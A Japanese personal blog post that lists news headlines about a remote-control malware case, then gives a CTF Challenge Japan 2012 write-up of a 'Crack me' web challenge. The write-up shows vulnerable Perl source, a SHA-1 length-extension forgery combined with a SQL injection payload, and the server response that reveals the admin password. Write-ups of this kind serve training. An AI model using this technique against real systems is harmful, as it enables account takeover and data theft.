トップ 最新

糸の切れた凧( a threadless kite )

ここは、管理人yamagataが方針未定のまま、何となーく思いついたことを思いついたままにだらだらと書き付ける日記帳です。ふんわりほんわかな感じでお願いします。

2013/02/11(月)月曜日ー。(こんな形で猫カフェが一般に認知されるとは。)

[雑談] いろいろ。
  • 遠隔操作 派遣先のパソコンで書き込みか (NHKニュース)

  • 追い詰めたのは江の島の最新鋭防犯カメラ 捜査員「なかったらと思うとぞっとする」 (イザ!)

  • PC遠隔操作: ネット時代の「劇場型犯罪」どこまで解明 (毎日jp/毎日新聞)

  • 逮捕の男 携帯に記憶媒体つけた猫の写真 (NHKニュース)

  • 捜査かく乱など特異な展開の事件に (NHKニュース)

  • 【なりすましウイルス】 残るサイバー犯罪捜査の弱点 政府全体での態勢強化急務 (MSN)

  • サイバー捜査に限界 民間との連携が必須 (日本経済新聞)

  • PC遠隔操作: 片山容疑者 ネットカフェや猫カフェ出入り (毎日jp/毎日新聞)

  • 【なりすましウイルス】 ちらつく過信と自己顕示欲 現実空間に現れて墓穴? (MSN産経)

  • 逮捕の30歳男、平成17年にも逮捕 大手レコード会社社長らの殺害予告容疑 (MSN産経)

  • サイバー捜査 増す難易度 海外当局も苦慮 (朝日新聞デジタル)

  • PC遠隔操作容疑者逮捕前に警察が情報漏洩していたことについて (ガジェット通信)

  • NmapのNSEスクリプト「upnp-info」を使ってみた (思い立ったら書く日記)

[CTF] CTFチャレンジジャパン2012 Write-Up: サービスアタック400 「Crack me」ol li{margin-left:15px;padding-bottom:5px}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-o-pre-wrap;white-space:-pre-wrap;word-wrap:break-word;}問題文
textile管理者のパスワードを答えなさい。貴方のアカウントは、test/testです。
試したことまず、URLを開き、問題文にあった、test/testでログインしてみた。![](/image/CTFjpn/CrackMe1.png)ユーザの一覧が表示されたので、自分(test)をクリックしたところ、パスワードを含む会員情報が表示された。 自分以外の名前をクリックした時は、パスワードの欄が無い会員情報が表示された。![](/image/CTFjpn/CrackMe2.png)ユーザ一覧の画面のHTMLソースを見てみたところ、以下のようになっていた。
textile<li><a href="detail.cgi?user=admin">Administrator</a></li><li><a href="detail.cgi?user=demo">DEMO user</a></li><li><a href="detail.cgi?user=test&hash=fd4f135ca36f53ca7470a187cc4cddf0965581ff">Test user</a></li>
どうやら、detail.cgiに渡す、hashというパラメータがキーになっているようだ。問題文のZIPファイルに、detail.cgiの抜粋版ソースコードがあったので見てみる。
textileif($hash){ my $salt = get_salt(); my $string = "salt=$salt&user=$username"; if($hash eq sha1_hex($string)){ my $sql = "SELECT id,username,password,name FROM user WHERE username='$username'"; my @ret = $dbh->selectrow_array($sql); print_detail($myname, { id => $ret[0], username => $ret[1], password => $ret[2], name => $ret[3] }); } else { error('security error'); }} else { my $sql = "SELECT id,username,name FROM user WHERE username=?"; my @ret = $dbh->selectrow_array($sql, undef, $username); if($username){ print_other($myname, { id => $ret[0], username => $ret[1], name => $ret[2] }); } else { error('no such user'); }}
hashの計算方法は分かったが、$saltの値(get_salt関数のソースコード)が分からないので、一見、自分でhashの計算はできないように見える。でも、その次の行のSQL文を見ても、(他のすべてのSQL文はプリペアードステートメントが使われているのに)ここだけ文字列で組み立てていて、いかにも、SQLインジェクションを仕掛けてくださいというメッセージが伝わってくる。これは、前にStripe-CTFで苦戦させられた、SHA-1 Padding Attackだとピンときた。```textileSHA1 padding attack - yasulib memo
textileCodeGate 2010 Challenge 15 – SHA1 padding attack : VNSECURITY / CLGT TEAM
```この攻撃を使うと、「何か秘密の文字列」+「ユーザが指定できる任意の文字列」をSHA-1でハッシュ化している時に、秘密の文字列は分からないまま、任意の文字列を追加した新しいハッシュ値を計算することができる。SELECT id,username,password,name FROM user WHERE username='test' というSQL文の、testの部分に「' and 1=2 or username='admin」を追加して送信することができれば、Administratorのパスワードが画面に表示されるはず。VNSECURITY TEAMのRDさんが公開している、* sha-padding.py/image/CTFjpn/sha-padding.py.txt
、* shaext.py/image/CTFjpn/shaext.py.txt
、* sha.py/image/CTFjpn/sha.py.txt
を使って、keylenを1から順に増やしながら送信したところ、35で以下の画面が表示された。
textilenew msg: "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x18' and 1=2 or username='admin"base64: gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARgnIGFuZCAxPTIgb3IgdXNlcm5hbWU9J2FkbWlunew sig: 85b16a59fdc238b3b8c2014149dd1aecf47fae2d HTTP/1.1 200 OKDate: Sun, 03 Feb 2013 14:28:11 GMTServer: ApacheConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8 25c<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="stylesheet" href="/final/style.css"><title>Crack me</title></head><body><h1>Crack me</h1>test さん、こんにちは</p><div class="logout"><a href="logout.cgi">ログアウト</a></div><hr><p>あなたの情報</p><table border="1"><tr><th>ID</th><td>1</td></tr><tr><th>username</th><td>admin</td></tr><tr><th>password</th><td>696b3365892c9485456ad672eb1000af</td></tr><tr><th>name</th><td>Administrator</td></tr></table><a href="users.cgi">一覧に戻る</a></body></html>0
答えは、「696b3365892c9485456ad672eb1000af」。